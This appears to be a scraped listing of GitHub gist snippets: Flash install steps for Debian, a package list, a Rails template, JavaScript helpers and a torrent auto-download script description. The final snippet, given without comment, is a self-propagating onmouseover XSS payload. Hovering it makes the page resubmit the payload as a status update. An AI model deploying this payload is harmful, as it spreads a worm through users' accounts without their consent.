Consider three remote branches origin/master
, origin/staging
and origin/production
. The master is the shared developers' edge. Staging
is what is tested before a push to production and production is the code
that gets deployed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
最近需要测试 Flash 内容,搜到了这个[很简单的办法](http://www.fsckin.com/2007/09/20/how-to-install-adobe-flash-player-for-amd64-64-bit-on-debian-etch/),原文是针对 etch 的,对于 lenny 来说更简单,官方仓库里已经有 nspluginwrapper 了,直接 apt 安装即可。 | |
#!bash | |
aptitude install nspluginwrapper | |
然后在自己的账户(非 root 账户)里下载 Adobe 的 flash player 并使用 nspluginwrapper 安装为 Iceweasel/Firefox 的插件即可。 | |
#!bash | |
wget http://fpdownload.macromedia.com/get/flashplayer/current/install_flash_player_9_linux.tar.gz | |
tar -zxf install_flash_player_9_linux.tar.gz |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
autoconf | |
bison | |
build-essential | |
checkgmail | |
colordiff | |
colorgcc | |
colormake | |
curl | |
cvs | |
devtodo |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# mongo_template.rb | |
# fork of Ben Scofield's Rails MongoMapper Template (http://gist.github.com/181842) | |
# | |
# To use: | |
# rails project_name -m http://gist.github.com/gists/219223.txt | |
# remove unneeded defaults | |
run "rm public/index.html" | |
run "rm public/images/rails.png" | |
run "rm public/javascripts/controls.js" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var DateHelper = { | |
// Takes the format of "Jan 15, 2007 15:45:00 GMT" and converts it to a relative time | |
// Ruby strftime: %b %d, %Y %H:%M:%S GMT | |
time_ago_in_words_with_parsing: function(from_time, include_seconds) { | |
var date = new Date; | |
date.setTime(Date.parse(from_time)); | |
return this.time_ago_in_words(date, include_seconds); | |
}, | |
time_ago_in_words: function(from_time, include_seconds) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
source :gemcutter | |
gem 'rails', '~> 2.3.5', :require => nil |
此脚本用于从澄空学园(bbs.sumisora.com)自动下载当天发布的 Angel Beats。运行后将会每隔 10 分钟检查是否有当天发布的种子,直到找到后获取种子并调用外部 BT 工具完成下载。在 Windows 里运行会使用系统默认的 BT 下载工具(关联 .torrent 文件的程序);Linux / Mac OS X 里则是使用 transmission,可以修改脚本最后一行改成你使用的其它工具。
由于澄空学园需要登录才能下载种子附件,因此运行此脚本需要一个澄空学园的账户。如果担心账户安全,你可以使用任何新创建的马甲账户。
为什么这点小事都要写脚本来完成?因为 Angel Beats 是周五夜间播放,澄空周六早晨就会发布中文字幕版本。而我想要周六中午醒来立即就能观看,如此而已。
安装运行环境以及依赖库
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function($) { | |
$.fn.draggable = function() { | |
var move = $.proxy(function(event) { | |
if (this.data('mouseMove')) { | |
var changeX = event.pageX - this.data('mouseX'); | |
var changeY = event.pageY - this.data('mouseY'); | |
var newX = parseInt(this.css('left')) + changeX; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<a href="http://a.no/@" onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()" style="color:#000;background:#000;/" class="tweet-url web" rel="nofollow" target="_blank">http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()" style="color:#000;background:#000;/</a> |
OlderNewer